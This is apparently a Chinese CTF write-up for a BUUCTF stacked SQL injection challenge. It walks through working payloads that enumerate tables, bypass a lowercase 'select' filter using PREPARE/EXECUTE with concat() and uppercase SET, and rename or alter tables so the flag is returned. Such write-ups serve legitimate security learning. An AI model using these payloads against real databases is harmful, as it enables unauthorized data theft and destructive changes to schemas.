又学到个姿势
这道题是sql堆叠注入
堆叠注入自行百度
同时有过滤
我们首先通过show语句确定了flag在哪个表里
?inject=1';show tables;#
?inject=1';show columns from `1919810931114514`;#
但是问题在于不能使用select等查询
做法是使用mysql预定义语句
PREPARE stmt from '你的sql语句';
EXECUTE stmt (如果sql有参数的话, USING xxx,xxx); // 这里USING的只能是会话变量
DEALLOCATE PREPARE stmt;
这三句话分别就是:
预定义好sql语句
执行预定义的sql
释放掉数据库连接
可以简单测试一下
发现成功执行插入语句
为什么要用这种做法绕过
因为可以发现,prepare之后的sql语句其实是一个字符串
就会发现对一个字符串来说,正则匹配是没有意义的
我们可以拼接我们想要的字符串然后执行
比如说过滤了select
我们可以通过拼接达到同样的效果concat(“sel”,“ect”)
同时可以通过设置变量来保存字符串set @a=
那么就很简单了
构造
?inject=1';
set @a=concat("sel","ect flag from `1919810931114514`");
prepare hello from @a;
execute hello;
#
发现还是不行
这里只匹配了小写
把set或者prepare换成大写就好了
?inject=1';
SET @a=concat("sel","ect flag from `1919810931114514`");
prepare hello from @a;
execute hello;#
拿到flag
做法2:改表名
我们观察两个表的结构
这是那个一串数字的表
flag |
---|
xxxx |
这是words表
id | data |
---|---|
x | xxxx |
所以猜测查到的数据其实是words表中的数据
查询语句大概是
select xxxxx from words where id = $_GET[inject]
那么就有另一个思路
如果我们把数字表的表名改为words
是不是就可以直接查到flag
而正好也没有过滤rename,alert
大概步骤就是
1.将words表改为其他名
2.将数字表改名为words
3.改列名,把列名flag改为id
这里为了方便观察,我多输了show tables和show columns的语句
下面是payload
http://05929a01-7bb6-428a-b840-10ff26c4607e.node1.buuoj.cn/
?inject=1' or 1=1;
rename tables `words` to `test`;rename tables `1919810931114514` to `words`;
show tables;show columns from words;
alter table `words` change `flag` `id` varchar(100);
show tables;show columns from words;
这是改完两个表名
这是改完列名
再执行一次payload